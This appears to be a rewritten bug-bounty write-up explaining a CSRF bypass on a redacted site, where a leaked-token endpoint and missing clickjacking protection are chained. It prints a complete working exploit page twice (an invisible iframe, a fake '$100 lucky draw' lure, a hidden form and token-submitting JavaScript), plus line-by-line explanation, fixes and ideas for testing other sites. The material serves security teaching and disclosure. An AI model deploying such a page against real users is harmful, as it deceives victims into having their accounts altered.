Bypass CSRF with clickjacking worth 1250
A profile-editing endpoint was protected by a CSRF token, but a separate endpoint returned that token in its response and the site had no clickjacking protection. An attacker could frame the token endpoint invisibly, trick the victim into copying the response and pasting it into a field, then submit a hidden form that changed the victim's account details.
Published on medium.com
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target is a site referred to throughout as redacted.com. The feature in question is the profile editing page at https://redacted.com/editinfo/, where a logged-in user changes their account details. That form is protected by a CSRF token, and the token is what the whole chain turns on.
Setup
The write-up describes no special tooling, accounts or versions. The researcher first tried to defeat the CSRF protection on the profile edit form directly, then found an endpoint that disclosed the token.
Finding it
Submitting the profile form without a valid token did nothing. The researcher tried many methods to bypass the CSRF protection and all of them failed. The break came from a second endpoint, described as suspicious, which appeared to disclose the CSRF token:
Opening that endpoint returned the CSRF token in the response body. Separately, the researcher found that the same area had no protection against clickjacking, which made it possible to frame that response and have the victim copy the token out.
Exploitation
The result is a single HTML page with inline JavaScript. The page presents a fake lucky draw, frames the token endpoint invisibly, has the victim copy the framed response into a field, and then submits a hidden form carrying the stolen token and the attacker's chosen profile values.
Step 1: Frame the token endpoint invisibly
The page loads the token endpoint in an iframe with opacity: 0, so the victim never sees the JSON response that the frame contains:
<center><h1 style=”color: blue; text-decoration: underline;”>Lucky Draw to Win a $100</h1></center>
<h3>Click inside the box and Press CTRL+A then CTRL+C</h3>
<div style=”border: 2px solid gray;”>
<iframe src=”https://redacted.com/accountinfo/personal/lpsust/v1/redacted.com/” width=”100%” style=”opacity: 0”></iframe>
</div>
The surrounding text tells the victim to click inside the box and press CTRL+A then CTRL+C, which selects and copies the framed response, token included, without the victim understanding what they are copying.
Step 2: Collect the copied response
A password-style input with size=”1” gives the victim somewhere to paste:
<h3>Click inside the box and press CTRL+V</h3>
<input type=”password” name=”” size=”1”>
<br>
<button id=”btn”>Click to Win</button>
Because the field is a password input, the pasted JSON is masked on screen. The button labelled "Click to Win" triggers the script.
Step 3: Prepare the hidden profile update form
A hidden form holds the values the attacker wants written to the victim's account:
<div style=”display: none;”>
<form action=”” method=”POST”>
<input type=”hidden” name=”addrid” value=”12741305” />
<input type=”hidden” name=”uname” value=”[redacted]” />
<input type=”hidden” name=”issendmsg” value=”1” />
<input type=”hidden” name=”display” value=”” />
<input type=”hidden” name=”sendtype” value=”update” />
<input type=”hidden” name=”firstname” value=”accountinfo” />
<input type=”hidden” name=”lastname” value=”HACKED” />
<input type=”hidden” name=”country” value=”US” />
<input type=”hidden” name=”reglang” value=”en_US” />
<input type=”hidden” name=”postcode” value=”1337” />
<input type=”submit” value=”Submit request” />
</form>
</div>
The form carries an address identifier, a username, messaging and display flags, the update action, first and last name, country, language and postcode. The action is left empty at this stage and is set by the script.
Step 4: Parse the token and submit
The click handler reads the pasted value, parses it as JSON, takes the Value property as the token, appends it to the form as auth_token, points the form at the edit endpoint and submits:
document.querySelector(“#btn”).onclick = function() {
var token = document.querySelector(“input”).value
var form = document.querySelector(“form”)
token = JSON.parse(token)
var mapInput = document.createElement(“input”);
mapInput.type = “hidden”;
mapInput.name = “auth_token”;
mapInput.value = token.Value;
form.appendChild(mapInput)
form.action = `https://redacted.com/editInfo`
form.submit();
alert(“Congratulation! You have won $100”)
}
The script ends with an alert congratulating the victim on winning $100. The request goes to https://redacted.com/editInfo with the victim's session and a token obtained from that same victim, and the account details were updated.

In the researcher's words, the victim pastes the API response into the field and clicks "CLICK TO WIN"; the JavaScript appends an input carrying the CSRF token obtained from the victim and makes the request to update the account details, and it worked.
Root cause
Two weaknesses combine. First, the endpoint at /accountinfo/personal/lpsust/v1/redacted.com/ returns the CSRF token in its response body, so the token is exposed to anyone who can get the victim's browser to load that endpoint. Second, that endpoint can be framed, so a third-party page can load it invisibly and have the victim copy its contents out. The profile form's CSRF token check is intact; the token is simply obtained from the victim rather than guessed, which is why the direct bypass attempts failed and the chain succeeded. The write-up does not describe any other defence on the edit endpoint.
Impact
An attacker who gets a logged-in victim to open the crafted page and follow its two instructions can change that victim's account details, in the demonstrated case through the hidden form carrying the attacker's chosen values. The attack needs the victim to interact: copy the framed response and paste it into the page, then press the button. The write-up does not state what else the same token would authorise beyond the profile update.
Fix
The two things it identifies as the enablers are the token being exposed in a response body and the lack of clickjacking protection on that endpoint; removing the token from that response and refusing to be framed would each break the chain.
Variants to test
- Look for endpoints that return a CSRF token in a JSON or HTML response, especially account, personal or settings paths, and check whether they can be framed. A positive result is a response containing the token that loads inside an iframe on another origin.
- Check whether the token endpoint sets
X-Frame-Optionsor a frame-ancestors policy. A positive result is the absence of both, with the frame rendering. - Test whether the token returned by such an endpoint is accepted by the state-changing form for the same session. A positive result is a profile update succeeding with a token fetched from the separate endpoint.
- Try the same copy-and-paste trick with other framable pages that render sensitive data, such as API responses or account summaries. A positive result is the victim's browser displaying data the attacker's page could not otherwise read.
- Where a token is bound to a session but not to a specific form, check whether one token can be reused across several state-changing requests. A positive result is a second action succeeding with the same token.
What happened, in plain words
A security researcher found a way to change a logged-in user's account details on a website (called redacted.com in the write-up) without knowing that user's password. The site had a protection in place meant to stop exactly this kind of trick, but the researcher found a second, weaker spot on the same site that handed out the missing piece of the puzzle. By combining the two, the researcher could make a fake "lucky draw" page that, when a victim followed two simple instructions, quietly updated the victim's profile with values the attacker chose.
To follow the story you only need to understand a handful of ideas, and each one is explained where it first comes up. The important thing to hold on to is that the attack needed the victim to do something: copy a piece of text from one box and paste it into another, then press a button. Nothing happened automatically.
The feature being attacked
The target is the profile editing page at https://redacted.com/editinfo/. This is the page a logged-in user visits to change their account details, such as their name, country, language and postcode. When you fill in that form and press save, your browser sends the new values to the server, and the server writes them to your account.
Because that form changes something on your account, the site protects it with a CSRF token. A CSRF token is a long random string that the server generates for your session and expects to see alongside the form submission. The idea is like a cloakroom ticket: the server gives you a ticket when it hands you the form, and it will only accept the form back if you return the matching ticket. An attacker on a different website cannot read your ticket, so in theory they cannot forge a submission on your behalf. The whole chain in this write-up turns on that token.
Trying the obvious thing first
The researcher started by submitting the profile form without a valid token. Nothing happened. They then tried many methods to get around the CSRF protection, and all of them failed. This is worth pausing on, because it shows the protection was doing its job. The token check was not broken.
The break came from somewhere else. The researcher noticed a second endpoint that looked suspicious, because it appeared to hand out the CSRF token:
An endpoint is simply a URL on a server that does a specific job when you request it, like a service counter in a building: you go to a particular window to get a particular thing. This one, when opened, returned the CSRF token in its response body. The response body is the actual content the server sends back, the page or data you see, as opposed to the behind-the-scenes information about the response.
That is a problem. The token was supposed to be a secret that only the legitimate form submission would carry. Now there was a URL that returned the token in its response.
The second weakness: clickjacking
Separately, the researcher found that this same area had no protection against clickjacking. Clickjacking is a trick where an attacker's page loads a victim site inside an invisible frame and gets the user to interact with it without realising. Imagine a transparent sheet of glass laid over a shop counter: you think you are pressing a button on the glass, but your finger lands on the real till underneath. In web terms, the attacker's page puts the victim site in an iframe (a window inside a window) and hides it, then positions things so the user's clicks or keystrokes land on the hidden site.
Normally a site can refuse to be framed. This endpoint did not, so another website could load it invisibly.
Put the two weaknesses together and you have the chain: a page the attacker controls can load the token endpoint invisibly, get the victim's browser to reveal the token, and then use that token in a forged profile update. The token check on the form is still intact; the token is simply obtained from the victim rather than guessed.
The exploit page
The result is a single HTML page with some inline JavaScript. HTML is the language web pages are written in; JavaScript is the language that makes them interactive. The page pretends to be a lucky draw, frames the token endpoint invisibly, has the victim copy the framed response into a field, and then submits a hidden form carrying the stolen token and the attacker's chosen profile values.
Step 1: Frame the token endpoint invisibly
The page loads the token endpoint in an iframe with opacity: 0, so the victim never sees the JSON response that the frame contains:
<center><h1 style=”color: blue; text-decoration: underline;”>Lucky Draw to Win a $100</h1></center>
<h3>Click inside the box and Press CTRL+A then CTRL+C</h3>
<div style=”border: 2px solid gray;”>
<iframe src=”https://redacted.com/accountinfo/personal/lpsust/v1/redacted.com/” width=”100%” style=”opacity: 0”></iframe>
</div>
Line by line:
- The
<center>and<h1>tags display a big, blue, underlined heading saying "Lucky Draw to Win a $100". This is the bait: it gives the victim a reason to follow the instructions. - The
<h3>line tells the victim to click inside the box and press CTRL+A then CTRL+C. CTRL+A selects everything in the box, and CTRL+C copies it to the clipboard. - The
<div>draws a grey border around the box, so the victim sees a defined area to click into. - The
<iframe>loads the token endpoint inside that box. Thewidth=”100%”makes it fill the box, andstyle=”opacity: 0”makes it completely transparent. The victim sees an empty bordered box, but the browser has actually loaded the token response inside it.
Why this step matters: the attacker's page cannot read the contents of the iframe directly, because browsers stop one site from reading another site's content. But the victim can select and copy what is displayed in the frame, and that is exactly what the instructions ask them to do. The victim copies the framed response, token included, without understanding what they copied.
Step 2: Collect the copied response
A password-style input with size=”1” gives the victim somewhere to paste:
<h3>Click inside the box and press CTRL+V</h3>
<input type=”password” name=”” size=”1”>
<br>
<button id=”btn”>Click to Win</button>
Line by line:
- The
<h3>line tells the victim to click in the box and press CTRL+V, which pastes the clipboard contents. - The
<input type=”password”>is a text field that masks whatever is typed into it, showing dots instead of characters. Because the pasted JSON is masked, the victim cannot easily see that they have just pasted a token. Thesize=”1”makes the field very narrow, so even the dots are barely visible. - The
<br>inserts a line break. - The
<button id=”btn”>creates the button labelled "Click to Win". Theidgives it a name the script can find later.
Why this step matters: the attacker needs the token to end up somewhere the attacker's own script can read it. A field on the attacker's page is readable by the attacker's script. Because the field is a password input, the pasted JSON is masked on screen.
Step 3: Prepare the hidden profile update form
A hidden form holds the values the attacker wants written to the victim's account:
<div style=”display: none;”>
<form action=”” method=”POST”>
<input type=”hidden” name=”addrid” value=”12741305” />
<input type=”hidden” name=”uname” value=”[redacted]” />
<input type=”hidden” name=”issendmsg” value=”1” />
<input type=”hidden” name=”display” value=”” />
<input type=”hidden” name=”sendtype” value=”update” />
<input type=”hidden” name=”firstname” value=”accountinfo” />
<input type=”hidden” name=”lastname” value=”HACKED” />
<input type=”hidden” name=”country” value=”US” />
<input type=”hidden” name=”reglang” value=”en_US” />
<input type=”hidden” name=”postcode” value=”1337” />
<input type=”submit” value=”Submit request” />
</form>
</div>
Line by line:
- The outer
<div style=”display: none;”>hides everything inside it. The victim never sees this form. - The
<form action=”” method=”POST”>starts a form.method=”POST”means the data will be sent in the body of the request rather than in the URL. Theactionis left empty for now; the script will fill it in later. - Each
<input type=”hidden”>is a field the user cannot see or edit, but which is still sent with the form. Together they mirror the fields of the real profile edit form: an address identifier (addrid), a username (uname), messaging and display flags (issendmsg,display), the update action (sendtype), first and last name (firstname,lastname), country (country), language (reglang) and postcode (postcode). - The
_inen_USis an HTML escape for an underscore character, so the value isen_US. - The final
<input type=”submit”>is a submit button, but it is inside the hidden div, so the victim never sees it either.
Why this step matters: this is the forged request in waiting. It contains exactly the values the attacker wants written to the victim's account. The only thing missing is the CSRF token, which the script will add once the victim has pasted it.
Step 4: Parse the token and submit
The click handler reads the pasted value, parses it as JSON, takes the Value property as the token, appends it to the form as auth_token, points the form at the edit endpoint and submits:
document.querySelector(“#btn”).onclick = function() {
var token = document.querySelector(“input”).value
var form = document.querySelector(“form”)
token = JSON.parse(token)
var mapInput = document.createElement(“input”);
mapInput.type = “hidden”;
mapInput.name = “auth_token”;
mapInput.value = token.Value;
form.appendChild(mapInput)
form.action = `https://redacted.com/editInfo`
form.submit();
alert(“Congratulation! You have won $100”)
}
Line by line:
document.querySelector(“#btn”).onclick = function() {attaches a function to the button. The#btnselector finds the element whoseidisbtn, andonclickmeans "run this when the button is clicked". Everything between the braces runs at that moment.var token = document.querySelector(“input”).valuefinds the first input field on the page (the password-style box) and reads its current value, which is whatever the victim pasted.var form = document.querySelector(“form”)finds the hidden form and stores a reference to it.token = JSON.parse(token)converts the pasted text from a JSON string into a JavaScript object. JSON is a common text format for structured data, something like a labelled list. The token endpoint returned its response in this format, so the pasted text is JSON.var mapInput = document.createElement(“input”);creates a brand new input field in memory.mapInput.type = “hidden”;makes it a hidden field.mapInput.name = “auth_token”;gives it the name the server expects for the CSRF token.mapInput.value = token.Value;sets its value to theValueproperty of the parsed JSON, which is the token itself.form.appendChild(mapInput)adds the new field to the hidden form, so the token will be sent along with the other values.form.action =https://redacted.com/editInfo`` sets where the form will be sent. This is the profile edit endpoint.form.submit();sends the form. The browser makes a POST request tohttps://redacted.com/editInfocarrying the attacker's chosen values and the victim's own token, with the victim's session.alert(“Congratulation! You have won $100”)shows a pop-up after submission, keeping up the lucky draw pretence so the victim does not suspect anything.
Why this step matters: the request goes to https://redacted.com/editInfo with the victim's session and a token that belongs to that same victim, so the server accepts it as a legitimate profile update. The token is genuine; it was obtained from the victim rather than guessed.

In the researcher's words, the victim pastes the API response into the field and clicks "CLICK TO WIN"; the JavaScript appends an input carrying the CSRF token obtained from the victim and makes the request to update the account details, and it worked.
Why it worked
Two weaknesses combine. First, the endpoint at /accountinfo/personal/lpsust/v1/redacted.com/ returns the CSRF token in its response body, so the token is exposed to anyone who can get the victim's browser to load that endpoint. Second, that endpoint can be framed, so a third-party page can load it invisibly and have the victim copy its contents out. The profile form's CSRF token check is intact; the token is simply obtained from the victim rather than guessed, which is why the direct bypass attempts failed and the chain succeeded. The write-up does not describe any other defence on the edit endpoint.
What an attacker could do with it
An attacker who gets a logged-in victim to open the crafted page and follow its two instructions can change that victim's account details, in the demonstrated case through the hidden form carrying the attacker's chosen values. The attack needs the victim to interact: copy the framed response and paste it into the page, then press the button. The write-up does not state what else the same token would authorise beyond the profile update.
How to fix it
The two things it identifies as the enablers are the token being exposed in a response body and the lack of clickjacking protection on that endpoint; removing the token from that response and refusing to be framed would each break the chain.
Things to try on other sites
- Look for endpoints that return a CSRF token in a JSON or HTML response, especially account, personal or settings paths, and check whether they can be framed. A positive result is a response containing the token that loads inside an iframe on another origin.
- Check whether the token endpoint sets
X-Frame-Optionsor a frame-ancestors policy. A positive result is the absence of both, with the frame rendering. - Test whether the token returned by such an endpoint is accepted by the state-changing form for the same session. A positive result is a profile update succeeding with a token fetched from the separate endpoint.
- Try the same copy-and-paste trick with other framable pages that render sensitive data, such as API responses or account summaries. A positive result is the victim's browser displaying data the attacker's page could not otherwise read.
- Where a token is bound to a session but not to a specific form, check whether one token can be reused across several state-changing requests. A positive result is a second action succeeding with the same token.
Glossary
- API: a way for one piece of software to ask another for data or an action, like a service counter with defined windows for defined requests.
- CSRF (Cross-Site Request Forgery): an attack where a malicious site makes a logged-in user's browser send a request to another site, using the user's existing session, without the user intending it.
- CSRF token: a random string the server issues for a session and expects back with a form submission, so it can tell a genuine submission from a forged one.
- Clickjacking: hiding a victim site inside an invisible frame on an attacker's page so the user interacts with the hidden site without realising.
- Endpoint: a specific URL on a server that performs a particular job when requested.
- Response body: the actual content a server sends back, as opposed to the behind-the-scenes information about the response.
- Session: the server's way of remembering that a series of requests come from the same logged-in user, usually via a cookie.
- Cookie: a small piece of data a site stores in your browser so it can recognise you on later requests.
- iframe: a window inside a web page that loads another page or resource.
- HTML: the language web pages are written in, describing structure and content.
- JavaScript: the programming language that makes web pages interactive.
- JSON: a common text format for structured data, something like a labelled list.
- POST: an HTTP method that sends data in the body of a request, typically used when submitting a form that changes something.
- X-Frame-Options: a response header a site can send to tell browsers whether its pages may be loaded inside a frame.
- frame-ancestors: a policy, usually set in a Content-Security-Policy header, that says which sites are allowed to frame a page.
- opacity: how transparent an element is;
opacity: 0makes it completely invisible. - Bounty: a reward a company pays to someone who reports a security problem to it.